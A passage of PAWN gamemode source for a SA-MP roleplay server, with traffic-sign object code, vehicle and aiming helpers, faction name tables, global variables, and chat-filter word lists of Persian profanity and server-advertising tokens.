					SetDynamicObjectMaterialText(trafficsign_id+3, 0, "?", 60, "Wingdings", 65, 1, -16777216, 0, 1);
					SignCounter++;
					TrafficSign[SignCounter][M1] = trafficsign_id;
					TrafficSign[SignCounter][M2] = trafficsign_id+1;
					TrafficSign[SignCounter][M3] = trafficsign_id+2;
					TrafficSign[SignCounter][M4] = trafficsign_id+3;
					return SignCounter;
			 }
			 case SIGN_PROHIBITEDDIR4:
			 {
				new trafficsign_id = CreateDynamicObjectEx(8548, x, y, z, 0.0, 0.0, rz, viewdistance, viewdistance);
					new Float:p[9];
				aTraffic_Position(trafficsign_id, -0.03, -0.03, 0.45, p[0], p[1], p[2]);
				aTraffic_Position(trafficsign_id, -0.025, -0.04, 0.455, p[3], p[4], p[5]);
		  aTraffic_Position(trafficsign_id, 0.015, -0.06, 0.45, p[6], p[7], p[8]);
					CreateDynamicObjectEx(2986, p[0], p[1], p[2], 0.0000, 90.0000, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[3], p[4], p[5], 0.0000, 90.0000, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[6], p[7], p[8], 180.0000, -90.0000, rz-90, viewdistance, viewdistance);
					SetDynamicObjectMaterial(trafficsign_id, 0, 0, "null", "null");
					SetDynamicObjectMaterialText(trafficsign_id+1, 0, "l", 60, "Wingdings", 120, 0, -65536, 0, 1);
					SetDynamicObjectMaterialText(trafficsign_id+2, 0, "l", 60, "Wingdings", 90, 0, 0xFFFFFFFF, 0, 1);
					SetDynamicObjectMaterialText(trafficsign_id+3, 0, "?", 60, "Wingdings", 65, 1, -16777216, 0, 1);
					SignCounter++;
					TrafficSign[SignCounter][M1] = trafficsign_id;
					TrafficSign[SignCounter][M2] = trafficsign_id+1;
					TrafficSign[SignCounter][M3] = trafficsign_id+2;
					TrafficSign[SignCounter][M4] = trafficsign_id+3;
					return SignCounter;
			 }
			 case SIGN_GODIR1:
			 {
				new trafficsign_id = CreateDynamicObjectEx(8548, x, y, z, 0.0, 0.0, rz, viewdistance, viewdistance);
					new Float:p[6];
				aTraffic_Position(trafficsign_id, -0.03, -0.025, 0.45, p[0], p[1], p[2]);
				aTraffic_Position(trafficsign_id, -0.5, -0.06, 0.945, p[3], p[4], p[5]);

					CreateDynamicObjectEx(2986, p[0], p[1], p[2], 0, 90, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[3], p[4], p[5], 90.0000, -90.0000, rz-90, viewdistance, viewdistance);
					SetDynamicObjectMaterial(trafficsign_id, 0, 0, "null", "null");
					SetDynamicObjectMaterialText(trafficsign_id+1, 0, "l", 60, "Wingdings", 120, 0, 0xFF00CCFF, 0, 1);
		  SetDynamicObjectMaterialText(trafficsign_id+2, 0, "?", 60, "Wingdings", 65, 1, -16777216, 0, 1);
					SignCounter++;
					TrafficSign[SignCounter][M1] = trafficsign_id;
					TrafficSign[SignCounter][M2] = trafficsign_id+1;
					TrafficSign[SignCounter][M3] = trafficsign_id+2;
					return SignCounter;
			 }
			 case SIGN_GODIR2:
			 {
				new trafficsign_id = CreateDynamicObjectEx(8548, x, y, z, 0.0, 0.0, rz, viewdistance, viewdistance);
					new Float:p[6];
				aTraffic_Position(trafficsign_id, -0.03, -0.025, 0.45, p[0], p[1], p[2]);
				aTraffic_Position(trafficsign_id, -0.015, -0.06, 1.45, p[3], p[4], p[5]);

					CreateDynamicObjectEx(2986, p[0], p[1], p[2], 0, 90, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[3], p[4], p[5], 0.0000, -90.0000, rz-90, viewdistance, viewdistance);
					SetDynamicObjectMaterial(trafficsign_id, 0, 0, "null", "null");
					SetDynamicObjectMaterialText(trafficsign_id+1, 0, "l", 60, "Wingdings", 120, 0, 0xFF00CCFF, 0, 1);
		  SetDynamicObjectMaterialText(trafficsign_id+2, 0, "?", 60, "Wingdings", 65, 1, -16777216, 0, 1);
					SignCounter++;
					TrafficSign[SignCounter][M1] = trafficsign_id;
					TrafficSign[SignCounter][M2] = trafficsign_id+1;
					TrafficSign[SignCounter][M3] = trafficsign_id+2;
					return SignCounter;
			 }
			 case SIGN_GODIR3:
			 {
				new trafficsign_id = CreateDynamicObjectEx(8548, x, y, z, 0.0, 0.0, rz, viewdistance, viewdistance);
					new Float:p[6];
				aTraffic_Position(trafficsign_id, -0.03, -0.025, 0.45, p[0], p[1], p[2]);
				aTraffic_Position(trafficsign_id, 0.5, -0.06, 0.95, p[3], p[4], p[5]);

					CreateDynamicObjectEx(2986, p[0], p[1], p[2], 0, 90, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[3], p[4], p[5], -90.0000, -90.0000, rz-90, viewdistance, viewdistance);
					SetDynamicObjectMaterial(trafficsign_id, 0, 0, "null", "null");
					SetDynamicObjectMaterialText(trafficsign_id+1, 0, "l", 60, "Wingdings", 120, 0, 0xFF00CCFF, 0, 1);
		  SetDynamicObjectMaterialText(trafficsign_id+2, 0, "?", 60, "Wingdings", 65, 1, -16777216, 0, 1);
					SignCounter++;
					TrafficSign[SignCounter][M1] = trafficsign_id;
					TrafficSign[SignCounter][M2] = trafficsign_id+1;
					TrafficSign[SignCounter][M3] = trafficsign_id+2;
					return SignCounter;
			 }
			 case SIGN_GODIR4:
			 {
				new trafficsign_id = CreateDynamicObjectEx(8548, x, y, z, 0.0, 0.0, rz, viewdistance, viewdistance);
					new Float:p[6];
				aTraffic_Position(trafficsign_id, -0.03, -0.025, 0.45, p[0], p[1], p[2]);
				aTraffic_Position(trafficsign_id, 0.015, -0.06, 0.45, p[3], p[4], p[5]);

					CreateDynamicObjectEx(2986, p[0], p[1], p[2], 0, 90, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[3], p[4], p[5], 180.0000, -90.0000, rz-90, viewdistance, viewdistance);
					SetDynamicObjectMaterial(trafficsign_id, 0, 0, "null", "null");
					SetDynamicObjectMaterialText(trafficsign_id+1, 0, "l", 60, "Wingdings", 120, 0, 0xFF00CCFF, 0, 1);
		  SetDynamicObjectMaterialText(trafficsign_id+2, 0, "?", 60, "Wingdings", 65, 1, -16777216, 0, 1);
					SignCounter++;
					TrafficSign[SignCounter][M1] = trafficsign_id;
					TrafficSign[SignCounter][M2] = trafficsign_id+1;
					TrafficSign[SignCounter][M3] = trafficsign_id+2;
					return SignCounter;
			 }
			 case SIGN_TAXI:
			 {
				new trafficsign_id = CreateDynamicObjectEx(8548, x, y, z, 0.0, 0.0, rz, viewdistance, viewdistance);
					new Float:p[3];
				aTraffic_Position(trafficsign_id, 0.5, -0.06, 0.95, p[0], p[1], p[2]);

					CreateDynamicObjectEx(2986, p[0], p[1], p[2], 90.0000, 90.0000, rz-90, viewdistance, viewdistance);
					SetDynamicObjectMaterial(trafficsign_id, 0, 18646, "matcolours", "lightblue", 0xFF00CCFF);
					SetDynamicObjectMaterial(trafficsign_id, 1, 18646, "matcolours", "grey");
					SetDynamicObjectMaterialText(trafficsign_id+1, 0, "TAXI", 60, "Arial", 30, 1, -16777216, 0, 1);
					SignCounter++;
					TrafficSign[SignCounter][M1] = trafficsign_id;
					TrafficSign[SignCounter][M2] = trafficsign_id+1;
					return SignCounter;
			 }
			 case SIGN_BUS:
			 {
				new trafficsign_id = CreateDynamicObjectEx(8548, x, y, z, 0.0, 0.0, rz, viewdistance, viewdistance);
					new Float:p[3];
				aTraffic_Position(trafficsign_id, 0.5, -0.06, 0.95, p[0], p[1], p[2]);

					CreateDynamicObjectEx(2986, p[0], p[1], p[2], 90.0000, 90.0000, rz-90, viewdistance, viewdistance);
					SetDynamicObjectMaterial(trafficsign_id, 0, 18646, "matcolours", "lightblue", 0xFF00CCFF);
					SetDynamicObjectMaterial(trafficsign_id, 1, 18646, "matcolours", "grey");
					SetDynamicObjectMaterialText(trafficsign_id+1, 0, "BUS", 60, "Arial", 30, 1, -16777216, 0, 1);
					SignCounter++;
					TrafficSign[SignCounter][M1] = trafficsign_id;
					TrafficSign[SignCounter][M2] = trafficsign_id+1;
					return SignCounter;
			 }
			 case SIGN_PARKING1:
			 {
				new trafficsign_id = CreateDynamicObjectEx(8548, x, y, z, 0.0, 0.0, rz, viewdistance, viewdistance);
					new Float:p[3];
				aTraffic_Position(trafficsign_id, 0.5, -0.06, 0.95, p[0], p[1], p[2]);

					CreateDynamicObjectEx(2986, p[0], p[1], p[2], 90.0000, 90.0000, rz-90, viewdistance, viewdistance);
					SetDynamicObjectMaterial(trafficsign_id, 0, 18646, "matcolours", "lightblue", 0xFF00CCFF);
					SetDynamicObjectMaterial(trafficsign_id, 1, 18646, "matcolours", "grey");
					SetDynamicObjectMaterialText(trafficsign_id+1, 0, "PARKING", 60, "Arial", 15, 1, -16777216, 0, 1);
					SignCounter++;
					TrafficSign[SignCounter][M1] = trafficsign_id;
					TrafficSign[SignCounter][M2] = trafficsign_id+1;
					return SignCounter;
			 }
			 case SIGN_PARKING2:
			 {
				new trafficsign_id = CreateDynamicObjectEx(8548, x, y, z, 0.0, 0.0, rz, viewdistance, viewdistance);
					new Float:p[3];
				aTraffic_Position(trafficsign_id, 0.5, -0.06, 0.95, p[0], p[1], p[2]);

					CreateDynamicObjectEx(2986, p[0], p[1], p[2], 90.0000, 90.0000, rz-90, viewdistance, viewdistance);
					SetDynamicObjectMaterial(trafficsign_id, 0, 18646, "matcolours", "lightblue", 0xFF00CCFF);
					SetDynamicObjectMaterial(trafficsign_id, 1, 18646, "matcolours", "grey");
					SetDynamicObjectMaterialText(trafficsign_id+1, 0, "P", 60, "Arial", 60, 1, -16777216, 0, 1);
					SignCounter++;
					TrafficSign[SignCounter][M1] = trafficsign_id;
					TrafficSign[SignCounter][M2] = trafficsign_id+1;
					return SignCounter;
			 }
	   }
	   return -1;
}*/
stock RPName(playerid)
{
	new plName[25];
	if(!IsPlayerConnected(playerid)){plName="null";}
	if(IsPlayerConnected(playerid)){GetPlayerName(playerid, plName, sizeof(plName));}
	return plName;
}
stock RandomCode( bool:useDigits = true ) {// Sina
    if( useDigits ) {
        if( random(1000)%2==0 )
            return 48 + random(10);
        else
            return (random(1000)%2==0) ? (65 + random(26)) : (97 + random(26));
    } else
        return ( random(1000) %2 ==0 ) ? (65 + random(26)) : (97 + random(26));
}
stock SinaConvert(secs, &hours, &minutes, &seconds)
{
  if (secs < 0) return false;
  minutes = secs / 60;
  seconds = secs % 60;
  hours = minutes / 60;
  minutes = minutes % 60;
  return 1;
}
stock DestroyTrafficSign(signid)
{
	   if(IsValidDynamicObject(TrafficSign[signid][M1]))
	   {
			 DestroyDynamicObject(TrafficSign[signid][M1]);
			 SignCounter--;
			 if(IsValidDynamicObject(TrafficSign[signid][M2])) DestroyDynamicObject(TrafficSign[signid][M2]);
			 if(IsValidDynamicObject(TrafficSign[signid][M3])) DestroyDynamicObject(TrafficSign[signid][M3]);
			 if(IsValidDynamicObject(TrafficSign[signid][M4])) DestroyDynamicObject(TrafficSign[signid][M4]);
			 if(IsValidDynamicObject(TrafficSign[signid][M5])) DestroyDynamicObject(TrafficSign[signid][M5]);
	   }
}
/*
stock GetPlayerFPSS(playerid)// By Sina :|
{
	SetPVarInt(playerid, "DrunkL", GetPlayerDrunkLevel(playerid));
	if(GetPVarInt(playerid, "DrunkL") < 100) SetPlayerDrunkLevel(playerid, 2000);
		else{
			if(GetPVarInt(playerid, "LDrunkL") != GetPVarInt(playerid, "DrunkL"))
			{
				SetPVarInt(playerid, "FPS", (GetPVarInt(playerid, "LDrunkL") - GetPVarInt(playerid, "DrunkL")));
			   SetPVarInt(playerid, "LDrunkL", GetPVarInt(playerid, "DrunkL"));
			 if((GetPVarInt(playerid, "FPS") > 0) && (GetPVarInt(playerid, "FPS") < 256))
			  {
				  return GetPVarInt(playerid, "FPS") - 1;
			 }
		  }
	   }
	   return 0;
}
*/



stock IsValidTrafficSign(signid)
{
	if(IsValidDynamicObject(TrafficSign[signid][M1])) return true;
	   return false;
}
stock GetVehicleModelSeats(modelid)
{
	static const s_VehicleSeats[] =
  {
	4, 2, 2, 2, 4, 4, 1, 2, 2, 4, 2, 2, 2, 4, 2, 2, 4, 2, 4, 2, 4, 4, 2, 2, 2, 1, 4, 4, 4, 2,
	1, 7, 1, 2, 2, 0, 2, 7, 4, 2, 4, 1, 2, 2, 2, 4, 1, 2, 1, 0, 0, 2, 1, 1, 1, 2, 2, 2, 4,
	4, 2, 2, 2, 2, 1, 1, 4, 4, 2, 2, 4, 2, 1, 1, 2, 2, 1, 2, 2, 4, 2, 1, 4, 3, 1, 1, 1, 4, 2,
	2, 4, 2, 4, 1, 2, 2, 2, 4, 4, 2, 2, 1, 2, 2, 2, 2, 2, 4, 2, 1, 1, 2, 1, 1, 2, 2, 4, 2, 2,
	1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 4, 1, 1, 1, 2, 2, 2, 2, 7, 7, 1, 4, 2, 2, 2, 2, 2, 4, 4,
	2, 2, 4, 4, 2, 1, 2, 2, 2, 2, 2, 2, 4, 4, 2, 2, 1, 2, 4, 4, 1, 0, 0, 1, 1, 2, 1, 2, 2, 1, 2,
	4, 4, 2, 4, 1, 0, 4, 2, 2, 2, 2, 0, 0, 7, 2, 2, 1, 4, 4, 4, 2, 2, 2, 2, 2, 4, 2, 0, 0, 0,
	4, 0, 0
  };
  return (modelid < 400 || modelid > 611) ? (0) : (s_VehicleSeats[(modelid - 400)]);
}
stock GetVehicleNextSeat(vehicleid, passenger = 1)
{
	new seats = GetVehicleSeats(vehicleid);
	if(seats>1)
	{
	   for (new i = passenger; i < seats; i ++)
	   {
		  if (!IsVehicleSeatOccupied(vehicleid, i))
		  {
			 return i;
		  }
	   }
	}
	return -1;
}
IsWeaponGun(weaponid)
{
  switch(weaponid){
	case 22,23,24,25,26,27,28,29,30,31,32,33,34,38:return 1;
  }
  return 0;
}
GetXYInRightOfPlayer(playerid, &Float:x, &Float:y, Float:distance)
{
	new Float:a;
	GetPlayerPos(playerid, x, y, a);
	if(IsPlayerInAnyVehicle(playerid))
	{
	   GetVehicleZAngle(GetPlayerVehicleID(playerid),a);
	}
	else GetPlayerFacingAngle(playerid, a);
	x += (distance * floatsin(-a+90, degrees));
	y += (distance * floatcos(-a+90, degrees));
}
stock GetXYInLeftOfPlayer(playerid, &Float:x, &Float:y, Float:distance)
{
	new Float:a;
	GetPlayerPos(playerid, x, y, a);
	if(IsPlayerInAnyVehicle(playerid))
	{
	   GetVehicleZAngle(GetPlayerVehicleID(playerid),a);
	}
	else GetPlayerFacingAngle(playerid, a);
	x += (distance * floatsin(-a-90, degrees));
	y += (distance * floatcos(-a-90, degrees));
}
GetXYInFrontOfPlayer(playerid, &Float:x, &Float:y, Float:distance)
{
	new Float:a;
	GetPlayerPos(playerid, x, y, a);
	if(IsPlayerInAnyVehicle(playerid))
	{
	   GetVehicleZAngle(GetPlayerVehicleID(playerid),a);
	}
	else GetPlayerFacingAngle(playerid, a);
	x += (distance * floatsin(-a, degrees));
	y += (distance * floatcos(-a, degrees));
}
SetPlayerGravity(playerid,Float:Gravity)
{
	new BitStream:bs = BS_New();
	BS_WriteValue(
	   bs,
	   PR_FLOAT, Gravity
	);
	BS_RPC(bs, playerid, 146, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED);
	BS_Delete(bs);
	return 1;
}
GetFacName(facid)
{
	new FacName[32];
	switch(facid)
	{

		case 1: FacName = "{0000ff}Police Department";
		case 2: FacName = "{0000CC}FBI";
		case 3: FacName = "{2c4c9b}National Guard";
		case 4: FacName = "{FF6600}Medic";
		case 5: FacName = "{5D7E8D}Silence Mafia";
		case 6: FacName = "{3E3535}The Killers Family";
		case 7: FacName = "{BBF060}Mayor";
		case 8: FacName = "{8E2323}Hitman Agency";
		case 9: FacName = "{825B8C}News Reporter";
		case 10: FacName = "{FFFF00}Taxi Driver";
		case 11: FacName = "{00a6ff}School Instructor";
		case 12: FacName = "{19AF23}Dangerous Tiger Family";
		case 13: FacName = "{FFBA00}Legendary Men Family";
		case 14: FacName = "{B32CF6}Fast N Furious Family";
		case 15: FacName = "{00ECEC}Storm Men Family";
		case 16: FacName = "{F9F7CE}Tow Truck Company";
		case 17: FacName = "{7A7399}Unknowns";
		case 20: FacName = "{60F565}SFPD";
		//case 21: FacName = "{7D633B}SoldierShip";// It's need to change!
		default: FacName = "{C60000}Unknown";
	   
	}
	return FacName;
}
GetFacNameEx(facid,string[])
{
	switch(facid)
	{
		case 1: format(string,32,"Police Department");
		case 2: format(string,32,"FBI");
		case 3: format(string,32,"National Guard");
		case 4: format(string,32,"Medic");
		case 5: format(string,32,"Silence Mafia");
		case 6: format(string,32,"The Killers Family");
		case 7: format(string,32,"Mayor");
		case 8: format(string,32,"Hitman Agency");
		case 9: format(string,32,"News Reporter");
		case 10: format(string,32,"Taxi Driver");
		case 11: format(string,32,"School Instructor");
		case 12: format(string,32,"Dangerous Tiger Family");
		case 13: format(string,32,"Legendary Men Family");
		case 14: format(string,32,"Fast N Furious Family");
		case 15: format(string,32,"Storm Men Family");
		case 16: format(string,32,"Tow Truck Company");
		case 17: format(string,32,"Unknowns");
		case 20: format(string,32,"SFPD");
		//case 21: format(string,32,"SoldierShip");// It's need to change!
		default: format(string,32,"Unknown");
	}
	return 1;
}
GetFacNameNoColor(facid)
{
	new FacName[32];
	switch(facid)
	{
		case 5: FacName = "DNB";
		case 6: FacName = "Triads";
		case 12: FacName = "GroveStreet";
		case 13: FacName = "Vagos";
		case 14: FacName = "TBF";
		case 15: FacName = "VLA";
		default: FacName = "Unknown";
	}
	return FacName;
}
GetFacIDFromName(name[])
{
	if(!strcmp(name,"DNB",true))return 5;
	else if(!strcmp(name,"Triads",true))return 6;
	else if(!strcmp(name,"GroveStreet",true))return 12;
	else if(!strcmp(name,"Vagos",true))return 13;
	else if(!strcmp(name,"TBF",true))return 14;
	else if(!strcmp(name,"VLA",true))return 15;
	return 0;
}
stock IsVehicleSeatOccupied(vehicleid, seatid)
{
  if (!GetVehicleModel(vehicleid))
  {
	return 0;
  }
  else
  {
	for (new i = 0, j = GetPlayerPoolSize(); i <= j; i ++)
	   {
		  if(!IsPlayerConnected(i)) continue;
	   if (IsPlayerInVehicle(i, vehicleid) && GetPlayerVehicleSeat(i) == seatid)
	 {
	   return 1;
	 }
	}
  }
  return 0;
}
stock aTraffic_Position(objectid, Float:offset_x, Float:offset_y, Float:offset_z, &Float:x, &Float:y, &Float:z)
{
	new Float:object_px,
	   Float:object_py,
	   Float:object_pz,
	   Float:object_rx,
	   Float:object_ry,
	   Float:object_rz;
	GetDynamicObjectPos(objectid, object_px, object_py, object_pz);
	GetDynamicObjectRot(objectid, object_rx, object_ry, object_rz);
	new Float:cos_x = floatcos(object_rx, degrees),
	   Float:cos_y = floatcos(object_ry, degrees),
	   Float:cos_z = floatcos(object_rz, degrees),
	   Float:sin_x = floatsin(object_rx, degrees),
	   Float:sin_y = floatsin(object_ry, degrees),
	   Float:sin_z = floatsin(object_rz, degrees);
	x = object_px + offset_x * cos_y * cos_z - offset_x * sin_x * sin_y * sin_z - offset_y * cos_x * sin_z + offset_z * sin_y * cos_z + offset_z * sin_x * cos_y * sin_z;
	y = object_py + offset_x * cos_y * sin_z + offset_x * sin_x * sin_y * cos_z + offset_y * cos_x * cos_z + offset_z * sin_y * sin_z - offset_z * sin_x * cos_y * cos_z;
	z = object_pz - offset_x * cos_x * sin_y + offset_y * sin_x + offset_z * cos_x * cos_y;
}
stock GetStringText(const string[],idx,text[128])//Abit modified strtok function to return string after 1st blank space
{
	new length = strlen(string);
	while ((idx < length) && (string[idx] <= ' ')) { idx++; }
	new offset = idx; new result[128];
	while ((idx < length) && ((idx - offset) < (sizeof(result) - 1))) { result[idx - offset] = string[idx]; idx++; }
	result[idx - offset] = EOS;
	text = result;
	return result;
}
Float:DistanceCameraTargetToLocation(Float:CamX, Float:CamY, Float:CamZ,   Float:ObjX, Float:ObjY, Float:ObjZ,   Float:FrX, Float:FrY, Float:FrZ) {

	   new Float:TGTDistance;
	   TGTDistance = floatsqroot((CamX - ObjX) * (CamX - ObjX) + (CamY - ObjY) * (CamY - ObjY) + (CamZ - ObjZ) * (CamZ - ObjZ));
	   new Float:tmpX, Float:tmpY, Float:tmpZ;
	   tmpX = FrX * TGTDistance + CamX;
	   tmpY = FrY * TGTDistance + CamY;
	   tmpZ = FrZ * TGTDistance + CamZ;
	   return floatsqroot((tmpX - ObjX) * (tmpX - ObjX) + (tmpY - ObjY) * (tmpY - ObjY) + (tmpZ - ObjZ) * (tmpZ - ObjZ));
}
IsPlayerAimingAt(playerid, Float:x, Float:y, Float:z, Float:radius)
{
	   new Float:camera_x,Float:camera_y,Float:camera_z,Float:vector_x,Float:vector_y,Float:vector_z;
	   GetPlayerCameraPos(playerid, camera_x, camera_y, camera_z);
	   GetPlayerCameraFrontVector(playerid, vector_x, vector_y, vector_z);

	   new Float:vertical, Float:horizontal;

	   switch (GetPlayerWeapon(playerid))
	   {
					case 34,35,36: {
					if (DistanceCameraTargetToLocation(camera_x, camera_y, camera_z, x, y, z, vector_x, vector_y, vector_z) < radius) return true;
					return false;
					}
					case 30,31: {vertical = 4.0; horizontal = -1.6;}
					case 33: {vertical = 2.7; horizontal = -1.0;}
					default: {vertical = 6.0; horizontal = -2.2;}
	   }

	   new Float:angle = GetPointAngleToPoint(0, 0, floatsqroot(vector_x*vector_x+vector_y*vector_y), vector_z) - 270.0;
	   new Float:resize_x, Float:resize_y, Float:resize_z = floatsin(angle+vertical, degrees);
	   GetXYInFrontOfPoint(resize_x, resize_y, GetPointAngleToPoint(0, 0, vector_x, vector_y)+horizontal, floatcos(angle+vertical, degrees));

	   if (DistanceCameraTargetToLocation(camera_x, camera_y, camera_z, x, y, z, resize_x, resize_y, resize_z) < radius) return true;
	   return false;
}

bool:IsPlayerAimingAtPlayer(playerid, target)
{
	   new Float:x, Float:y, Float:z;
	   GetPlayerPos(target, x, y, z);
	   if (IsPlayerAimingAt(playerid, x, y, z-0.75, 0.25)) return true;
	   if (IsPlayerAimingAt(playerid, x, y, z-0.25, 0.25)) return true;
	   if (IsPlayerAimingAt(playerid, x, y, z+0.25, 0.25)) return true;
	   if (IsPlayerAimingAt(playerid, x, y, z+0.75, 0.25)) return true;
	   return false;
}

enum E_KEYPAD_TD
{
Text:keypad_textdraw_num[10],
Text:keypad_textdraw_box[10], // 10 numbers, RED_OFF, GREEN_OFF, RED_ON, GREEN_ON
Text:keypad_textdraw_bg // The grey background box
}
new KEYPAD_gKeypadTextdraws[E_KEYPAD_TD]; // An enum array to store the textdraw IDs in

new Text:WelcomeMsg;
new Text:SvMsg;
new Text:RPGMsg;

//new Text:WelcomeMsg[MAX_PLAYERS];
new Text:TestModel;
new Text:BuyModel;
new Text:NextModel;
new Text:PrevModel;
new Text:RotModel;
new Text:RotModel2;
new PlayerText:CarModel[MAX_PLAYERS];
new PlayerText:PriceModel[MAX_PLAYERS];
new Text:ExitDS;
new NameClan[MAX_PLAYERS][32];
new TagClan[MAX_PLAYERS][5];
new ColorClan[MAX_PLAYERS][10];
//new Chat[MAX_PLAYERS][512];
new CCID[MAX_PLAYERS];
new UseDrugp[MAX_PLAYERS];
new CBB[MAX_PLAYERS];
new CMP[MAX_PLAYERS];
new CMG[MAX_PLAYERS];
new MLR,
MMLR,
RMLR,
LMLR,
PMLR;
new InModShop[MAX_PLAYERS];
//new FunTime;
new ColClan[MAX_PLAYERS][8];
new Text:Clear;
//sp//
//new SpectatedID[MAX_PLAYERS];
//new SpectateType[MAX_PLAYERS];
//new ActorCJ;
new Text:Ok;
new Text:Cancel;
//new ElamKon;
new NSH[MAX_PLAYERS];
new Text:SafeZone;
new Defind[MAX_PLAYERS];
new nfind[MAX_PLAYERS];
new RefD[MAX_PLAYERS];
new WhoKill[MAX_PLAYERS];
//new TextSMS[MAX_PLAYERS];
//new godmode[MAX_PLAYERS];
new SafeZoneCheck[MAX_PLAYERS];
new SafeOn;
//new PrisonBreak;
new Neon[MAX_PLAYERS];
new CarFarar[MAX_PLAYERS];
new FararCar;
new Neons[MAX_PLAYERS][24];
new CarNeons[MAX_VEHICLES][24];
new VehicleNeon[MAX_VEHICLES];
//new IDF[MAX_PLAYERS];
new bool: isRelogging[MAX_PLAYERS], relogPlayerIP[MAX_PLAYERS][17];
new pVeh[MAX_PLAYERS];
new shealdare[MAX_PLAYERS];
new LockAcc[MAX_PLAYERS];
new Speedct[MAX_PLAYERS];
new idss[MAX_PLAYERS];
new Wait[MAX_PLAYERS];
new Payambar[MAX_PLAYERS];
//new Payambar2[MAX_PLAYERS];
new Text:BoxInput1;
new Text:BoxInput2;
new JetAllow[MAX_PLAYERS];
new PlayerText:Friend[MAX_PLAYERS];
//new Text:Friend2;
new Text:BoxInput3;
new Text:BoxInput4;
new Specer[MAX_PLAYERS];
new SpecOnt[MAX_PLAYERS];
new MatGet[MAX_PLAYERS];
new PlayerText:Input1[MAX_PLAYERS];
new PlayerText:Input2[MAX_PLAYERS];
new PlayerText:Input3[MAX_PLAYERS];
new PlayerText:Input4[MAX_PLAYERS];

new AdadPin[MAX_PLAYERS];
new Pin1[MAX_PLAYERS];
new Pin2[MAX_PLAYERS];
new Pin3[MAX_PLAYERS];
new Pin4[MAX_PLAYERS];
new RcS[MAX_PLAYERS];
new sprice[MAX_PLAYERS];
new AccGun[MAX_PLAYERS];
new AccRefill[MAX_PLAYERS];
new AccDrugs[MAX_PLAYERS];
new Goto[MAX_PLAYERS];
new AccRepair[MAX_PLAYERS];
new Text:shacklog;
new mpop[MAX_PLAYERS];
/*new ForbiddenNames[][] =
{
	"ARSACI", "LFG", "LifeForGame", "con", "iranrpg", "Admin", "Owner",
	"Kir", "Kos", "Kon", "Koon", "Alipeston", "jende", "185_165_28_72_7777", "185_165_28_72", "185_165_28_72__7777", "Samp_MadGames_IR",
	"Ali_peston", "Alipestoon", "Ali[peston]", "[Ali]peston","[Alipeston]", "87_236_209_145", "87_236_209_145_7777", "87_236_209_145__7777",
	"87_236_209_145", "rpg_troygame_ir", "87_236_209_136", "87_236_209_54_7777", "87_236_209_136__7777",
	"Kooon", "Koooon", "Koooon", "Koooon", "Koooon", "Koooon", "Koooon",
	"Fuck", "AliAssassin", "MakeYourLife", "nul","Kiir","Kiiir","Kiiiir","Kiiiiir",
	"clock$", "aux", "prn", "con",
	"InvalidNick"
};*/
new FoshWords[][MAX_FOSH_LEN] =
{
	{"koon"},
	{"koun"},
	{"kun"},
	{"kir"},
	{"k1r"},
	{"k!r"},
	{"kos"},
	{"k0s"},
	{"k@s"},
	{"jende"},
	{"haroomzade"},
	{"haroom zade"},
	{"harum zade"},
	{"harumzade"},
	{"haroum zade"},
	{"haroumzade"},
	{"harom zade"},
	{"haromzade"},
	{"madar"},
	{"nane"},
	{"nanat"},
	{"dayous"},
	{"dayus"},
	{"dayoos"},
	{"dayyoos"},
	{"dayyous"},
	{"dayyos"},
	{"dayyus"},
	{"zena"},
	{"jakesh"},
	{"mamanet"},
	{"abjit"},
	{"tokhm"},
	{"khaye"},
	{"sex"}
};
new SusWords[][100] = {
		{"gp"},
		{"tel"},
		{"tle"},
		{"t_"},
		{"sv"},
		{"s.v"},
		{"serv"},
		{"srv"},
		{"s,v"},
		{"disc"},
		{"inst"},
		{"inist"},
		{"ts"},
		{"teamspeak"},
		{"ti-es"},
		{"ties"},
		{"t.s"},
		{"t_s"},
		{"team speak"},
		{"t3"},
		{"t$"},
		{"ip"},
		{"i.p"},
		{"i_p"},
		{"i-p"},
		{"samp"},
		{"sa-mp"},
		{"sa:mp"},
		{"sa.mp"},
		{"channel"},
		{"chnl"},
		{"chanel"},
		{"lp"},
		{"7777"},
		{"8888"},
		{"9999"},
		{"mta"},
		{"multi"},
		{"tim"},
		{"tem"},
		{"t1m"},
		{"tg"},
		{"t.g"},
		{"t_g"},
		{"game"},
		{"geym"},
		{"geim"},
		{"t'g"},
		{"spik"},
		{"speak"},
		{"spick"},
		{"spek"},
		{"speek"},
		{"espek"},
		{"espeek"},
		{"dah"},
		{".net"},
		{".ir"},
		{".tk"},
		{".de"},
		{".co"},
		{".uk"},
		{".org"},
		{".info"},
		{".ml"},
		{"5"},
		{"10"},
		{"63"},
		{"158"},
		{"58"},
		{"185"},
		{"87"},
		{"236"},
		{"205"},
		{"209"},
		{"wwww"},
		{"http"},
		{"7 7"},
		{"s_v"},
		{"amval"},
		{"amwal"},
		{"amvl"},
		{"amwl"},
		{"fou"},
		{"mod"},
		{"@"},
		{"scr"}
};

// Fosh Nade System by Sina
/*new InvalidWords[][MAX_PLAYERS] =
{
	 "kos",
	 "super",
	 "sooper",
	 "souper",
	 "sex",
	 "namos",
	 "namous",
	 "namoos",
	 "fuck",
	 "fack",
	 "khar",
	 "pedar",
	 "madar",
	 "gai",
	 "gay",
	 "suck",
	 "khaye",
	 "khaie",
	 "tokhm",
	 "koun",
	 "jende",
	 "bachesal",
	 "bache sal",
	 "khareto",
	 "kir",
	 "jende",
	 "harze",
	 "Sag",
	 "sack",
	 "ame",
	 "amat",
	 "obi",
	 "koon",
	 "koun",
	 "kooun",
	 "Haroum",
	 "Haroom",
	 "jnde",
	 "nane",
	 "nanat",
	 "kiir",
	 "koos",
	 "amoo",
	 "amou",
	 "amouei",
	 "jagh",
	 "jaq",
	 "amoi",
	 "amooi",
	 "amoyi",
	 "amooyi",
	 "amouyi",
	 "bitch",
	 "amooei"
};*/

new PlayerText:shacklog2[MAX_PLAYERS];
new PlayerText:needlog[MAX_PLAYERS];
new OnFreeze[MAX_PLAYERS];
//new Timer[MAX_PLAYERS];
//InvalidNameCheck(playerid)
//{
//	new name[MAX_PLAYER_NAME];
//	GetPlayerName(playerid, name, sizeof(name));

